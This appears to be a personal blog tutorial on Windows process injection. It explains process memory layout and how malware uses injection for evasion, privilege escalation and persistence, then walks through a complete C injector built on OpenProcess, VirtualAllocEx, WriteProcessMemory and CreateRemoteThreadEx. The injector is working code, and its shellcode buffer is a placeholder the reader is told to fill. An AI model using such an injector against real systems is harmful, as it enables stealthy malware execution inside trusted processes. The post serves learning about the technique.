Exploring Process Injection with C

August 24, 2024

What is a Process?

Before diving into the intricacies of process injection, it's essential to understand what a process is and what it comprises. In computing, a process is an instance of a computer program that is currently being executed. It consists of the program code and its current activity. Processes are vital for the operation of an operating system, as they allow multiple programs to run concurrently, maintaining the illusion that each program operates in isolation.

Quick Overview: Key Components of a Process

  1. Program Code: The executable code that the process runs. It consists of machine language instructions that the CPU can directly execute.

  2. Memory Space: A process is allocated a specific memory space that includes:

  • Text Segment: Also called the code segment, which contains the executable instructions of the process.

  • Data Segment: Holds global and static variables that are initialized when the process loads.

  • Heap: A memory segment used for dynamically allocated memory, which can grow or shrink at runtime. This is where variables or objects are stored that are allocated and freed by the process.

  • Stack: Contains local variables, function parameters, return addresses, and call information. It manages function calls and automatically allocates and deallocates memory as functions are called and return.

  • Process Control Block (PCB): A data structure used by the operating system to store all the necessary information about a process. This includes the Process ID, Process State, Registers, Program Counter, Memory Management and I/O Information.

Moreover, a process can have one or more threads, each a sequence of executable instructions. Threads share the process's resources, such as memory and file handles, but execute independently, allowing parallel execution within the same process context.

Uses of Process Injection

Process injection is a technique widely employed in both malicious and defensive contexts for several critical purposes. Malware developers utilize process injection primarily for stealth and evasion. By injecting malicious code into legitimate, trusted processes like explorer.exe or system services, malware can evade detection by antivirus software and security monitoring tools. This technique allows malicious actors to camouflage their activities as normal system operations, making it challenging for defenders to identify and mitigate.

Furthermore, process injection facilitates privilege escalation by injecting code into processes running with higher permissions, such as those operating as SYSTEM on Windows systems. This enables attackers to elevate their privileges and gain unauthorized access to sensitive areas of the system, including user data, network resources, or critical system settings.

Another significant use of process injection is for executing arbitrary code within a compromised process. Once injected, the malicious code can perform a variety of actions, such as stealing credentials, exfiltrating data, launching further attacks, or maintaining persistence by ensuring the malware runs each time the system boots up. This persistence is achieved by injecting code into processes that automatically start with the operating system, ensuring long-term access and control over the compromised system.

Achievements of Process Injection

Process injection demonstrates advanced capabilities in memory manipulation and exploitation of operating system internals. By dynamically allocating memory within a remote process and writing data or executable code into that space, attackers exhibit precise control over system-level operations. This manipulation allows them to bypass security measures that typically monitor and restrict the creation of new processes or the modification of existing ones.

Moreover, process injection techniques are adaptable across different operating systems and architectures, showcasing their flexibility in both offensive and defensive cybersecurity strategies. While the example provided in the code snippet focuses on Windows systems using WinAPI functions, similar principles apply to Unix-like systems using techniques such as ptrace or LD_PRELOAD.

Motivations for Using Process Injection

The primary motivation behind employing process injection techniques lies in their effectiveness at evading detection and achieving persistent access to compromised systems. Malicious actors use process injection to exploit the trust placed in legitimate processes by operating systems and security software. By injecting code into these trusted processes, attackers can execute unauthorized commands and maintain a foothold within the target environment without raising suspicion.

For attackers, process injection provides a means to avoid detection by antivirus software and security monitoring tools that typically rely on detecting anomalous process behavior or unauthorized code execution. By blending malicious activities with legitimate processes, attackers reduce the likelihood of their actions being detected and mitigated by defenders.

The Program Overview

In this blog post, I will walk through my simple C program that demonstrates this technique.

Below is the complete C code for the program:

Link to the GitHub Repository

#include <windows.h>
#include <stdio.h>

#define okay(msg, ...) printf("[+] " msg "\\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[*] " msg "\\n", ##__VA_ARGS__)
#define warn(msg, ...) printf("[!] " msg "\\n", ##__VA_ARGS__)

DWORD PID, TID = NULL; // we need this for openprocess() 
HANDLE hProcess, hThread = NULL;
LPVOID rBuffer = NULL;

unsigned char shellcode[] = "\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41"; // placeholder, put your shellcode here
int main(int argc, char* argv[]) {
    if (argc < 2) {
        info("usage: program.exe <PID>");
        return EXIT_FAILURE;
    }
    
    PID = atoi(argv[1]);
    info("trying to open a handle to process (%ld)", PID);
    
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    info("got a handle to the process! \\ ---0x%p", hProcess);

    if (hProcess == NULL) {
        warn("couldn't get a handle to the process (%ld), error %ld", PID, GetLastError());
        return EXIT_FAILURE;
    }

    rBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
    info("allocated %zu-bytes with PAGE_EXECUTE_READWRITE permissions", sizeof(shellcode));

    WriteProcessMemory(hProcess, rBuffer, shellcode, sizeof(shellcode), NULL);
    info("wrote %zu-bytes to process memory\\n", sizeof(shellcode));

    hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, 0, &TID);

    if (hThread == NULL) {
        warn("failed to get a handle to the thread, error: %ld", GetLastError());
        CloseHandle(hProcess);
        return EXIT_FAILURE;
    }

    info("got a handle to the thread (%ld) \\ ---0x%p\\n", TID, hThread);

    info("executing thread....");
    WaitForSingleObject(hThread, INFINITE);
    info("thread finished executing.");

    info("closing handles....");
    CloseHandle(hProcess);
    CloseHandle(hThread);
    info("finished! closing now :D goodbye");
    return EXIT_SUCCESS;
}

Key Concepts and Functions

1. Handling Processes with OpenProcess

The first critical function in this program is OpenProcess, which opens a handle to a specified process. In our case, we pass the Process ID (PID) as an argument to the program to target a specific process.

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
  • PROCESS_ALL_ACCESS: Grants all possible access rights to the process, allowing us to read, write, and execute memory within it.

  • PID: The Process ID of the target process we want to inject our shellcode into.

This function is crucial for manipulating the memory and threads of the target process.

2. Allocating Memory in the Target Process with VirtualAllocEx

Once we have a handle to the target process, we need to allocate memory within it to store our shellcode. This is done using the VirtualAllocEx function.

rBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);

  • MEM_COMMIT | MEM_RESERVE: Specifies the type of memory allocation. We are reserving and committing memory in one go.

  • PAGE_EXECUTE_READWRITE: Sets the memory permissions, allowing us to write and later execute the code stored in this region.

3. Writing Shellcode into Process Memory with WriteProcessMemory

With memory allocated, the next step is to write the shellcode into this newly allocated memory space using WriteProcessMemory.

WriteProcessMemory(hProcess, rBuffer, shellcode, sizeof(shellcode), NULL);

This function copies our shellcode into the target process's memory space at the address pointed to by rBuffer.

4. Creating a Remote Thread with CreateRemoteThreadEx

After writing the shellcode, we need to execute it. This is achieved by creating a new thread in the target process using CreateRemoteThreadEx.

hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, 0, &TID);

  • (LPTHREAD_START_ROUTINE)rBuffer: Specifies the starting address of the new thread, which is the address of our shellcode.

  • hThread: Receives the handle to the new thread. This allows us to control and monitor the thread.

5. Handling Errors and Debugging

Throughout the program, error handling is crucial. The use of functions like GetLastError() provides detailed error codes that are helpful for debugging.

warn("failed to get a handle to the thread, error: %ld", GetLastError());

This ensures that if something goes wrong, we have sufficient information to diagnose the problem.

Learnings and Use Cases

What I Learned:

  1. Process Injection Basics: This program illustrates the basics of process injection, a common technique in both offensive and defensive cybersecurity.

  2. Windows API Functions: I learned how to use several key Windows API functions such as OpenProcess, VirtualAllocEx, WriteProcessMemory, and CreateRemoteThreadEx.

  3. Memory Management: Understanding how to allocate, write, and execute memory in another process is fundamental to various advanced programming and cybersecurity techniques.

  4. Error Handling: Proper error handling is essential, especially when working with low-level system functions that interact directly with the operating system.

Conclusion

While building this program, I gained a solid understanding of the basics of process injection and memory manipulation in the Windows operating system. These techniques are powerful tools in both offensive and defensive cybersecurity practices. However, it's important to remember that while these techniques are powerful, they should be used responsibly and ethically, always respecting legal boundaries and ethical guidelines.